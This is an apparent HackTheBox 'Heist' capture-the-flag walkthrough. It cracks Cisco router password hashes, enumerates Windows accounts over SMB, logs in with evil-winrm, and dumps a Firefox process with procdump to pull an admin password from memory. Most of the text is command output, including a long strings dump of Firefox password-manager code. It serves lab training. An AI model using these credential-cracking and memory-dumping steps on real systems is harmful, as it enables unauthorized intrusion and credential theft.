Heist – (HackTheBox)

root@kali:~/Downloads# nmap -A 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-01 02:35 GMT
Nmap scan report for 10.10.10.149
Host is up (0.21s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-01T02:37:01
|_ start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 212.55 ms 10.10.14.1
2 212.60 ms 10.10.10.149

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.18 seconds

now on browser

http://10.10.10.149/login.php

click on login as guest

we get this page

http://10.10.10.149/issues.php

A user called hazard posted an issue that he’s having some problems with his Cisco router and he attached the configuration file with the issue.
The configuration file had some password hashes and usernames:

http://10.10.10.149/attachments/config.txt

now on another tab

http://ibeast.com/tools/CiscoPassword

to crack the router password

So here are the credentials we have collected till now:

rout3r: $uperP@ssword

admin: Q4)sJu\Y8qz*A3?d

But on using these credentials on the login portal we won’t be able to login successfully

even we have this also

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91

root@kali:~# gedit hash.txt

$1$pdQG$o8nrSzsGXeaduXrjlvKc91

root@kali:~/Downloads# john –wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
Warning: detected hash type “md5crypt”, but the string is also recognized as “md5crypt-long”
Use the “–format=md5crypt-long” option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4×3])
Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:00:14 DONE (2019-12-01 03:12) 0.06925g/s 242752p/s 242752c/s 242752C/s stealthy001..steak7893
Use the “–show” option to display all of the cracked passwords reliably
Session completed

root@kali:~/Downloads# smbclient –list //10.10.10.149/ -U ‘hazard’
Enter WORKGROUP\hazard’s password: stealth1agent

Sharename Type Comment
——— —- ——-
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled — no workgroup available

root@kali:~/Downloads# locate lookupsid.py
/root/Downloads/10.10.10.52/impacket/examples/lookupsid.py
/usr/local/bin/lookupsid.py
/usr/local/bin/lookupsid.pyc
/usr/share/doc/python3-impacket/examples/lookupsid.py
root@kali:~/Downloads# /root/Downloads/10.10.10.52/impacket/examples/lookupsid.py hazard:stealth1agent@10.10.10.149
Impacket v0.9.20-dev – Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

root@kali:~/Downloads# gem install evil-winrm
Fetching: stringio-0.1.0.gem (100%)
Building native extensions. This could take a while…
Successfully installed stringio-0.1.0
Fetching: colorize-0.8.1.gem (100%)
Successfully installed colorize-0.8.1
Fetching: evil-winrm-2.0.gem (100%)
Happy hacking! 🙂
Successfully installed evil-winrm-2.0
Parsing documentation for stringio-0.1.0
Installing ri documentation for stringio-0.1.0
Parsing documentation for colorize-0.8.1
Installing ri documentation for colorize-0.8.1
Parsing documentation for evil-winrm-2.0
Installing ri documentation for evil-winrm-2.0
Done installing documentation for stringio, colorize, evil-winrm after 0 seconds
3 gems installed
root@kali:~/Downloads# evil-winrm

Evil-WinRM shell v2.0

Error: missing argument: ip, user

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
-S, –ssl Enable ssl
-c, –pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, –priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, –realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, –scripts PS_SCRIPTS_PATH Powershell scripts local path
-e, –executables EXES_PATH C# executables local path
-i, –ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, –url URL Remote url endpoint (default /wsman)
-u, –user USER Username (required)
-p, –password PASS Password
-H, –hash HASH NTLM hash
-P, –port PORT Remote host port (default 5985)
-V, –version Show version
-h, –help Display this help message

Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:

root@kali:~/Downloads# evil-winrm -i 10.10.10.149 -u Chase -p ‘Q4)sJu\Y8qz*A3?d’

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> type user.txt
a127daef77ab6d9dXXXXXXXXXXXXXXXXXX

*Evil-WinRM* PS C:\Users\Chase\Documents> upload /root/Downloads/pentest/privesc/windows/procdump.exe
Info: Uploading /root/Downloads/pentest/privesc/windows/procdump.exe to C:\Users\Chase\Documents\procdump.exe

Data: 868564 bytes of 868564 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\Chase\Documents> ps

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
——- —— —– —– —— — — ———–
147 9 6632 7868 6744 0 conhost
508 20 2672 5804 412 0 csrss
290 17 2352 5200 496 1 csrss
358 15 3564 14524 2180 1 ctfmon
166 9 1912 9816 0.28 1184 1 dllhost
260 14 3952 13352 3972 0 dllhost
617 32 33008 59116 84 1 dwm
1492 58 23768 79004 5716 1 explorer
408 31 17316 63392 0.88 3040 1 firefox
358 26 16352 37680 0.64 3944 1 firefox
1238 68 103492 175420 17.20 4812 1 firefox
343 19 9904 37380 0.23 5284 1 firefox
390 29 23160 56860 7.56 5680 1 firefox
49 6 1436 3612 812 0 fontdrvhost
49 6 1804 4668 856 1 fontdrvhost
101 7 852 3764 3436 0 fPUYCJJI
0 0 56 8 0 0 Idle
1048 23 5844 14580 648 0 lsass
153 8 2012 5024 4652 0 MpCmdRun
227 13 2996 10232 4292 0 msdtc
590 59 116736 127384 2936 0 MsMpEng
128 13 6452 13588 6244 0 php-cgi
128 13 6444 13608 6264 0 php-cgi
0 18 404 63724 104 0 Registry
144 8 1652 7680 5484 1 RuntimeBroker
292 15 5212 16428 5564 1 RuntimeBroker
275 14 3140 15236 5924 1 RuntimeBroker
669 32 19892 62432 4820 1 SearchUI
577 11 5044 9808 628 0 services
690 28 15352 52488 6088 1 ShellExperienceHost
437 17 4960 24160 3600 1 sihost
53 3 528 1160 308 0 smss
475 23 5880 16356 2600 0 spoolsv
115 7 1248 5228 416 0 svchost
168 11 2480 13204 612 0 svchost
210 15 6512 10592 760 0 svchost
85 5 888 3748 768 0 svchost
234 12 3088 13564 780 1 svchost
875 21 6940 22412 788 0 svchost
150 9 1724 11700 848 0 svchost
366 18 5612 27012 864 1 svchost
203 12 2112 9700 912 0 svchost
908 16 5184 11656 920 0 svchost
254 10 2068 7700 964 0 svchost
385 13 13284 16988 1012 0 svchost
140 7 1332 5652 1092 0 svchost
127 16 3620 7520 1172 0 svchost
216 9 2212 7416 1220 0 svchost
188 9 1788 7476 1268 0 svchost
233 12 2448 11104 1340 0 svchost
432 9 3004 9104 1360 0 svchost
154 7 1220 5572 1372 0 svchost
345 15 4472 11632 1384 0 svchost
379 17 5112 14264 1428 0 svchost
171 11 1800 7980 1532 0 svchost
324 10 2596 8364 1596 0 svchost
243 13 3112 8268 1628 0 svchost
285 12 2060 7968 1636 0 svchost
193 12 2216 12048 1748 0 svchost
163 10 2568 6916 1828 0 svchost
407 32 8364 17104 1904 0 svchost
164 9 2268 7588 1980 0 svchost
198 11 1964 8060 1996 0 svchost
209 11 2828 12096 2004 0 svchost
243 11 2640 9876 2012 0 svchost
357 19 14408 31576 2212 0 svchost
368 49 12984 18792 2576 0 svchost
167 12 3872 10760 2680 0 svchost
520 21 12996 27680 2688 0 svchost
237 25 3464 12532 2696 0 svchost
265 13 2556 7788 2728 0 svchost
128 7 1232 5692 2768 0 svchost
126 7 1580 6248 2776 0 svchost
401 15 10320 18852 2792 0 svchost
140 8 1504 6116 2800 0 svchost
126 7 1228 5324 2816 0 svchost
137 9 1628 6520 2876 0 svchost
174 11 2284 13264 2884 0 svchost
213 12 1876 7416 2892 0 svchost
282 19 3660 12452 2900 0 svchost
240 15 4716 11836 2908 0 svchost
210 11 2364 8312 2976 0 svchost
471 18 3416 11680 3116 0 svchost
387 23 3424 12288 3368 0 svchost
345 16 5212 14212 3420 0 svchost
326 15 4284 14524 3668 0 svchost
175 9 1528 7212 4224 0 svchost
170 9 4548 12264 4724 0 svchost
249 14 3088 13700 5264 0 svchost
227 11 2796 10876 5724 0 svchost
229 15 4132 13576 6008 0 svchost
307 16 11120 12164 6556 0 svchost
120 7 1448 5884 6588 0 svchost
164 9 3220 7796 6664 0 svchost
301 20 9864 14812 6756 0 svchost
2094 0 192 156 4 0 System
211 20 4052 12600 5016 1 taskhostw
281 17 12648 17132 6396 0 taskhostw
2162 53 151512 131544 5704 0 TiWorker
137 8 1980 7252 4764 0 TrustedInstaller
178 12 3200 10276 2868 0 VGAuthService
385 22 9012 21896 2860 0 vmtoolsd
245 18 3840 15020 4336 1 vmtoolsd
265 23 6332 15344 5444 0 w3wp
175 11 1576 6844 488 0 wininit
286 13 2888 12860 552 1 winlogon
291 14 12176 17308 3044 0 WmiPrvSE
348 16 9428 18800 3984 0 WmiPrvSE
589 25 49856 65568 0.33 804 0 wsmprovhost
532 26 50640 67960 1.83 5084 0 wsmprovhost
618 29 51088 65368 3.47 7128 0 wsmprovhost
86 6 920 3628 2108 0 xyRZMmph

*Evil-WinRM* PS C:\Users\Chase\Documents> cd C:\Users\Chase\appdata\Roaming\Mozilla

*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ps firefox

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
——- —— —– —– —— — — ———–
408 31 17316 66620 0.88 3040 1 firefox
358 26 16352 37616 0.64 3944 1 firefox
1240 68 106744 178968 17.48 4812 1 firefox
343 19 9904 37380 0.23 5284 1 firefox
390 29 23160 56848 8.23 5680 1 firefox

*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> cd C:\Windows\System32\spool\drivers\color

root@kali:~/Downloads# locate procdump64.exe
/root/Downloads/pentest/privesc/windows/procdump64.exe

root@kali:~/Downloads# cp /root/Downloads/pentest/privesc/windows/procdump64.exe .

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> upload procdump64.exe
Info: Uploading procdump64.exe to C:\Windows\System32\spool\drivers\color\procdump64.exe

Data: 455560 bytes of 455560 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> .\procdump64.exe -accepteula -ma 5284

ProcDump v9.0 – Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals – www.sysinternals.com

[12:59:10] Dump 1 initiated: C:\Windows\System32\spool\drivers\color\firefox.exe_191201_125910.dmp
[12:59:10] Dump 1 writing: Estimated dump file size is 267 MB.
[12:59:17] Dump 1 complete: 267 MB written in 7.0 seconds
[12:59:17] Waiting for dump to complete…
[12:59:17] Dump count reached.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> upload strings64.exe
Info: Uploading strings64.exe to C:\Windows\System32\spool\drivers\color\strings64.exe

Data: 218676 bytes of 218676 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> cmd /c “strings64.exe -accepteula firefox.exe_191201_125910.dmp > firefox.exe_191129_211531.txt”
cmd.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Strings v2.53 – Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals – www.sysinternals.com

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> findstr “password” ./firefox.exe_191129_211531.txt
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
gin_passwordz
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
modules/services-sync/engines/passwords.jsPK
chrome/toolkit/content/passwordmgr/passwordManager.jsPK
chrome/toolkit/content/passwordmgr/passwordManager.xulPK
chrome/toolkit/content/passwordmgr/recipes.jsonPK
chrome/toolkit/skin/classic/global/passwordmgr.cssPK
chrome/pippki/content/pippki/changepassword.jsPK
chrome/pippki/content/pippki/changepassword.xulPK
chrome/pippki/content/pippki/resetpassword.jsPK
chrome/pippki/content/pippki/resetpassword.xulPK
chrome/pippki/content/pippki/setp12password.jsPK
chrome/pippki/content/pippki/setp12password.xulPK
chrome/en-US/locale/en-US/passwordmgr/passwordManager.dtdPK
chrome/en-US/locale/en-US/passwordmgr/passwordmgr.propertiesPK
content passwordmgr toolkit/content/passwordmgr/
locale passwordmgr en-US en-US/locale/en-US/passwordmgr/
contract @mozilla.org/passwordmanager/authpromptfactory;1 {749e62f4-60ae-4569-a8a2-de78b649660e}
password/MS
pk11-bad-password = The password entered was incorrect.
pkcs12-decode-err = Failed to decode the file. Either it is not in PKCS #12 format, has been corrupted, or the password you entered was incorrect.
fips-nonempty-password-required = FIPS mode requires that you have a Master Password set for each security device. Please set the password before trying to enable FIPS mode.
password-not-set =
pw-empty-warning = Your stored web and email passwords, form data, and private keys will not be protected.
set-password =
set-password-old-password = Current password:
set-password-new-password = Enter new password:
set-password-reenter-password = Re-enter password:
set-password-meter = Password quality meter
set-password-meter-loading = Loading
master-password-description = A Master Password is used to protect sensitive information like site passwords. If you create a Master Password you will be asked to enter it once per session when { -brand-short-name } retrieves saved information protected by the password.
master-password-warning = Please make sure you remember the Master Password you have set. If you forget your Master Password, you will be unable to access any of the information protected by it.
remove-password =
.value = You must enter your current password to proceed:
remove-warning1 = Your Master Password is used to protect sensitive information like site passwords.
remove-password-old-password =
.value = Current password:
// We don’t handle password-only prompts.
/* username and password */
evt = this._createEvent(‘usernameandpasswordrequired’, detail,
Cu.exportFunction(function(username, password) {
callback(true, username, password);
.setUserPass(“”) // Avoid reporting a username or password.
password: null,
passwordField: null,
this.password = aPassword;
this.passwordField = aPasswordField;
this.password != aLogin.password ||
this.passwordField != aLogin.passwordField) {
this.username, this.password,
this.usernameField, this.passwordField);
Services.obs.addObserver(this._observer, “passwordmgr-storage-replace”);
} else if (topic == “passwordmgr-storage-replace”) {
“passwordmgr-storage-replace-complete”);
let passwordsCountHistogram = clearAndGetHistogram(“PWMGR_NUM_PASSWORDS_PER_HOSTNAME”);
passwordsCountHistogram.add(count);
if (login.password == null || login.password.length == 0) {
throw new Error(“Can’t add a login with a null or empty password.”);
let plaintexts = logins.map(l => l.username).concat(logins.map(l => l.password));
let passwords = ciphertexts.slice(logins.length);
let plaintextPassword = logins[i].password;
logins[i].password = passwords[i];
// Reset the username and password to keep the same guarantees as addLogin
logins[i].password = plaintextPassword;
resultLogin.password = plaintextPassword;
// Show the insecure login warning in the passwords field on null principal documents.
// able to affect the identity icon in the address bar by adding a password field.
let isPasswordField = aElement.type == “password”;
// Return empty result on password fields with password already filled.
* Constants for password prompt telemetry.
Services.obs.addObserver(this, “passwordmgr-crypto-login”, true);
Services.obs.addObserver(this, “passwordmgr-crypto-loginCanceled”, true);
} else if (topic == “passwordmgr-crypto-login”) {
} else if (topic == “passwordmgr-crypto-loginCanceled”) {
// already waiting on a master password entry.
this.log(“_doAsyncPrompt:run bypassed, master password UI busy”);
“chrome://passwordmgr/locale/passwordmgr.properties”);
* Looks up a username and password in the database. Will prompt the user
* with a dialog, even if a username and password are found.
// provided only a password, this will try to find a password-only
// If the caller provided a password, prefer it.
aPassword.value = selectedLogin.password;
this.log(“No password entered, so won’t offer to save.”);
} else if (aPassword.value != selectedLogin.password) {
// update password
this.log(“Updating password for ” + realm);
* If a password is found in the database for the password realm, it is
* If a password is not found in the database, the user will be prompted
* allows it, then the password will be saved in the database.
aPassword.value = foundLogins[i].password;
selectedLogin.password);
let [username, password] = this._GetAuthInfo(aAuthInfo);
if (ok && (username || password)) {
if (!password) {
this.log(“No password entered, so won’t offer to save.”);
username, password, “”, “”);
this._showLoginCaptureDoorhanger(newLogin, “password-save”);
Services.obs.notifyObservers(newLogin, “passwordmgr-prompt-save”);
} else if (password != selectedLogin.password) {
this.log(“Updating password for ” + username +
this._showLoginCaptureDoorhanger(aLogin, “password-save”);
Services.obs.notifyObservers(aLogin, “passwordmgr-prompt-save”);
* Displays the PopupNotifications.jsm doorhanger for password save or change.
* new password.
* This is “password-save” or “password-change” depending on the
let initialMsgNames = type == “password-save” ? saveMsgNames
let promptMsg = type == “password-save” ? this._getLocalizedString(saveMsgNames.prompt, [brandShortName, host])
let histogramName = type == “password-save” ? “PWMGR_PROMPT_REMEMBER_ACTION”
// Disable the main button inside the menu-button if the password field is empty.
if (login.password.length == 0) {
chromeDoc.getElementById(“password-notification-password”)
chromeDoc.getElementById(“password-notification-password”)
chromeDoc.getElementById(“password-notification-username”)
chromeDoc.getElementById(“password-notification-username”)
let toggleCheckbox = chromeDoc.getElementById(“password-notification-visibilityToggle”);
let passwordField = chromeDoc.getElementById(“password-notification-password”);
passwordField.setAttribute(“type”, “password”);
passwordField.setAttribute(“value”, login.password);
chromeDoc.getElementById(“password-notification-username”).value;
login.password =
chromeDoc.getElementById(“password-notification-password”).value;
let passwordField = chromeDoc.getElementById(“password-notification-password”);
let selectionStart = passwordField.selectionStart;
let selectionEnd = passwordField.selectionEnd;
passwordField.setAttribute(“type”, commandEvent.target.checked ? “” : “password”);
if (!passwordField.hasAttribute(“focused”)) {
passwordField.selectionStart = selectionStart;
passwordField.selectionEnd = selectionEnd;
login.password,
login.passwordField));
if (logins[0].password == login.password &&
// Include a “Never for this site” button when saving a new password.
if (type == “password-save”) {
“password”,
“password-notification-icon”,
passwordNotificationType: type,
chromeDoc.getElementById(“password-notification-password”)
chromeDoc.getElementById(“password-notification-username”)
chromeDoc.getElementById(“password-notification-username”)
chromeDoc.getElementById(“password-notification-password”)
let toggleBtn = chromeDoc.getElementById(“password-notification-visibilityToggle”);
chromeDoc.getElementById(“password-notification-visibilityToggle”)
chromeDoc.getElementById(“password-notification-username”)
chromeDoc.getElementById(“password-notification-password”)
chromeDoc.getElementById(“password-notification-visibilityToggle”)
popupNote = popupNote.getNotification(“password”);
Services.obs.notifyObservers(aLogin, “passwordmgr-prompt-save”);
* Called when we think we detect a password or username change for
* password fields.
aOldLogin.password = aNewLogin.password;
this._showLoginCaptureDoorhanger(aOldLogin, “password-change”);
Services.obs.notifyObservers(aNewLogin, “passwordmgr-prompt-change”, oldGUID);
var dialogTitle = this._getLocalizedString(“passwordChangeTitle”);
this.log(“Updating password for user ” + aOldLogin.username);
Services.obs.notifyObservers(aNewLogin, “passwordmgr-prompt-change”, oldGUID);
* Called when we detect a password change in a form submission, but we
* to select a username and confirm the password change.
var dialogTitle = this._getLocalizedString(“passwordChangeTitle”);
// Now that we know which login to use, modify its password.
this.log(“Updating password for user ” + selectedLogin.username);
selectedLogin.username, aNewLogin.password,
selectedLogin.usernameField, aNewLogin.passwordField);
propBag.setProperty(“password”, aNewLogin.password);
// Explicitly set the password change time here (even though it would
* “save password?” prompt too much.
* Returns [username, password] as extracted from aAuthInfo (which
var username, password;
password = aAuthInfo.password;
return [username, password];
* Given a username (possibly in DOMAIN\user form) and password, parses the
* password on the auth information object.
_SetAuthInfo(aAuthInfo, username, password) {
aAuthInfo.password = password;
* or with the same password as aLogin and an empty username
(l.password == aLogin.password &&
[login.username, login.password, this._crypto.defaultEncType] :
passwordField: loginClone.passwordField,
// Get the encrypted value of the username and password.
loginItem.passwordField = newLogin.passwordField;
case “passwordField”:
loginItem.passwordField);
* Returns the encrypted username, password, and encrypton type for the specified
* login. Can throw if the user cancels a master password entry.
let encPassword = this._crypto.encrypt(login.password);
* Decrypts username and password fields in the provided array of
* instead of entering their master password)
login.password = this._crypto.decrypt(login.password);
// If not, set a blank password.
this.log(“Initializing key3.db with default blank password.”);
throw Components.Exception(“User canceled master password entry”, Cr.NS_ERROR_ABORT);
// If we triggered a master password prompt, notify observers.
this._notifyObservers(“passwordmgr-crypto-login”);
this._notifyObservers(“passwordmgr-crypto-loginCanceled”);
throw Components.Exception(“User canceled master password entry”, Cr.NS_ERROR_ABORT);
// If we triggered a master password prompt, notify observers.
this._notifyObservers(“passwordmgr-crypto-login”);
this._notifyObservers(“passwordmgr-crypto-loginCanceled”);
// Wrong passwords are handled by the decoderRing reprompting;
throw Components.Exception(“User canceled master password entry”, Cr.NS_ERROR_ABORT);
// If we triggered a master password prompt, notify observers.
this._notifyObservers(“passwordmgr-crypto-login”);
this._notifyObservers(“passwordmgr-crypto-loginCanceled”);
this.log(“Prompted for a master password, notifying for ” + topic);
// or passwords.
let pwmgr = Cc[“@mozilla.org/passwordmanager/authpromptfactory;1”].
Cu.reportError(“nsPrompter: Delegation to password manager failed: ” + e);
let username, password;
password = authInfo.password;
return [username, password];
setAuthInfo(authInfo, username, password) {
authInfo.password = password;
nsIAuthPrompt_prompt(title, text, passwordRealm, savePassword, defaultText, result) {
// The passwordRealm and savePassword args were ignored by nsPrompt.cpp
nsIAuthPrompt_promptUsernameAndPassword(title, text, passwordRealm, savePassword, user, pass) {
// The passwordRealm and savePassword args were ignored by nsPrompt.cpp
nsIAuthPrompt_promptPassword(title, text, passwordRealm, savePassword, pass) {
// The passwordRealm and savePassword args were ignored by nsPrompt.cpp
let [username, password] = PromptUtils.getAuthInfo(authInfo);
let passParam = { value: password };
let [username, password] = PromptUtils.getAuthInfo(authInfo);
let passParam = { value: password };
* Check the FxA session status after a password change/reset event.
throw new Error(“Exception occured in clearing passwords :” + ex);
if (credentialType != “password”) {
” is not yet implemented. Treating as password.” +
url.password != “” ||
case “password”:
[“browser.safebrowsing.passwords.enabled”, false],
// Do not prompt with long usernames or passwords in URLs
// passwords
// Disable password capture, so that tests that include forms are not
promptUsernameAndPassword: function(title, text, username, password, checkMsg, checkState) {
promptPassword: function(title, text, password, checkMsg, checkState) {
let callback = function(ok, username, password) {
// Here we got the username and password provided by embedder, or
// Fill authentication information with username and password provided
if (password) {
prompt.authInfo.password = password;
// Don’t get the selection for password fields. See bug 565717.
this.initTextbox(“password1”, this.args.pass);
this.initTextbox(“password1”, this.args.pass);
this.ui.password1Label.setAttribute(“value”, “”);
this.ui.password1Textbox.select();
this.ui.password1Textbox.focus();
let password = this.ui.password1Textbox.value;
this.args.pass = password;
this.args.pass = password;
setup(emailInput, passwordInput, options = {}) {
let password = CommonUtils.encodeUTF8(passwordInput);
password, salt, pbkdf2Rounds, stretchedPWLength);
// does a “reset password” to get in on a new device. In this
* @throws Error if aField isn’t a password or username field in a document
* an ancestor Element of the username and password fields which doesn’t
* password (not revealed to the FxA server)
// we’re already verified. If the user changed their password, the check
// password.
* @param password
* The user’s password
* password (not revealed to the FxA server)
_createSession(path, email, password, getKeys = false,
return Credentials.setup(email, password).then((creds) => {
return this._createSession(path, error.email, password, getKeys,
* @param password
* The user’s password
* password (not revealed to the FxA server)
signUp(email, password, getKeys = false) {
return this._createSession(SIGNUP, email, password, getKeys,
* @param password
* The user’s password
* password (not revealed to the FxA server)
signIn: function signIn(email, password, getKeys = false) {
return this._createSession(SIGNIN, email, password, getKeys,
* user’s password (bytes)
throw new Error(“How did I sign in with an empty password?”);
* Used for differentiating between password change and account deletion.
exports.ON_PASSWORD_CHANGED_NOTIFICATION = “fxaccounts:password_changed”;
exports.ON_PASSWORD_RESET_NOTIFICATION = “fxaccounts:password_reset”;
// concurrently – which has a small window for reads if the master-password
// and thus are only available when the master-password is unlocked.
return JSON.parse(login.password);
const COMMAND_CHANGE_PASSWORD = “fxaccounts:change_password”;
// Pocket w/o entering their password a 2nd time, while in PB
// mode they *will* have to enter their email/password again.
// Set when over an <input type=”password”> field.
if (!form || aNode.type == “password”)
if (element.type == “password”) {
* Checks if there are insecure password fields present on the form’s document
* i.e. passwords inside forms with http action, inside iframes with http src,
* Report insecure password fields in a form to the web console to warn developers.
// The safety of a password field determined by the form action and the page protocol
let passwordSafety;
passwordSafety = 0;
passwordSafety = 1;
passwordSafety = 2;
passwordSafety = 3;
passwordSafety = 4;
passwordSafety = 5;
Services.telemetry.getHistogramById(“PWMGR_LOGIN_PAGE_SAFETY”).add(passwordSafety);
l.passwordField.includes(c));
aLogin.password.includes(“\0”)) {
if (!ignorePassword && aLogin1.password != aLogin2.password) {
// The .usernameField and .passwordField values are ignored.
aNewLoginData.username, aNewLoginData.password,
aNewLoginData.usernameField, aNewLoginData.passwordField);
// Automatically update metainfo when password is changed.
if (newLogin.password != aOldStoredLogin.password) {
// Automatically update metainfo when password is changed.
// explicitly updating both .password and .timePasswordChanged)
if (bagHasProperty(“password”)) {
let newPassword = aNewLoginData.getProperty(“password”);
if (newPassword != aOldStoredLogin.password) {
case “password”:
case “passwordField”:
if (newLogin.password == null || newLogin.password.length == 0) {
throw new Error(“Can’t add a login with a null or empty password.”);
* @param {string[]} [uniqueKeys = [“username”, “password”]]
dedupeLogins(logins, uniqueKeys = [“username”, “password”],
* Open the password manager window.
window.openDialog(“chrome://passwordmgr/content/passwordManager.xul”,
* For each login, add the login to the password manager if a similar one
loginData.password,
loginData.passwordElement || “”);
if (login.password != newLogin.password &
// if a login with the same username and different password already exists and it’s older
// than the current one, update its password and timestamp.
newLogin.password = login.password;
// Check for an existing login that matches *including* the password.
// updated password.
if (login.password != existingLogin.password &
// if a login with the same username and different password already exists and it’s older
// than the current one, update its password and timestamp.
propBag.setProperty(“password”, login.password);
login.password, login.usernameField,
login.passwordField);
* Returns true if the user has a master password set and false otherwise.
Services.obs.notifyObservers(dataObject, “passwordmgr-storage-changed”, changeType);
// restriction might be removed to support re-importing passwords set by an
throw new Error(“Unable to import saved passwords because some data ” +
throw new Error(“Unable to import saved passwords because ” +
let passwordField = row.getResultByName(“passwordField”);
passwordField,
* dispatched for each password field added to a document but we only want to fill once per
* @param {boolean} options.showMasterPassword – whether to show a master password prompt
isPasswordField: aElement.type == “password”,
* notify the parent process. This is used to control whether insecure password UI appears.
* Perform a password fill upon user request coming from the parent process.
* Username or password input element from the form we want to fill.
if (inputElement.type == “password”) {
var [usernameField, passwordField, ignored] =
if (usernameField == acInputField && passwordField) {
* @param {FormLike} form – the FormLike to look for password fields in.
* @param {bool} [options.skipEmptyFields=false] – Whether to ignore password fields with no value.
* @return {Array|null} Array of password field elements for the specified form.
// Locate the password fields in the form.
element.type != “password” ||
log(“skipping password field (id/name is”, element.id, ” / “,
log(“(form ignored — no password fields.)”);
log(“(form ignored — too many password fields. [ got “, pwFields.length, “])”);
* Returns the username and password fields found in the form.
* change-password field, with oldPasswordField containing the password
* FormLike has a password field.
fieldOverrideRecipe.passwordSelector
// The field from the password override may be in a different FormLike.
// Locate the password field(s) in the form. Up to 3 supported.
// If there’s no password field, there’s nothing for us to do.
// from the first password field, assume the first text field is the
// password field values for us to use for identifying fields. So,
// just assume the first password field is the one to be filled in.
var passwordField = pwFields[0].element;
log(“Password field”, passwordField, “has name: “, passwordField.name);
return [usernameField, passwordField, null];
// Try to figure out WTF is in the form based on the password values.
// Look for two identical passwords, that’s the new password
// All 3 passwords the same? Weird! Treat as if 1 pw field.
// We can’t tell which of the 3 passwords should be saved.
// Just assume that the 2nd password is the new password
* Looks for a password change in the submitted form, so we can update
* our stored password.
// If password saving is disabled (globally or for host), bail out now.
// Need at least 1 valid password field to do anything.
* Attempt to find the username and password fields in a form, and fill them
* of type password is also passed, the username field will be ignored.
* password.
* password value can be overwritten
// so that the user isn’t prompted for a master password
var [usernameField, passwordField, ignored] =
// If we have a password inputElement parameter and it’s not
if (inputElement.type == “password”) {
passwordField = inputElement;
// Need a valid password field to do anything.
if (passwordField == null) {
log(“not filling form, no password field found”);
// If the password field is disabled or read-only, there’s nothing to do.
if (passwordField.disabled || passwordField.readOnly) {
log(“not filling form, password field disabled or read-only”);
this._isAutocompleteDisabled(passwordField)) {
// Discard logins which have username/password values that don’t
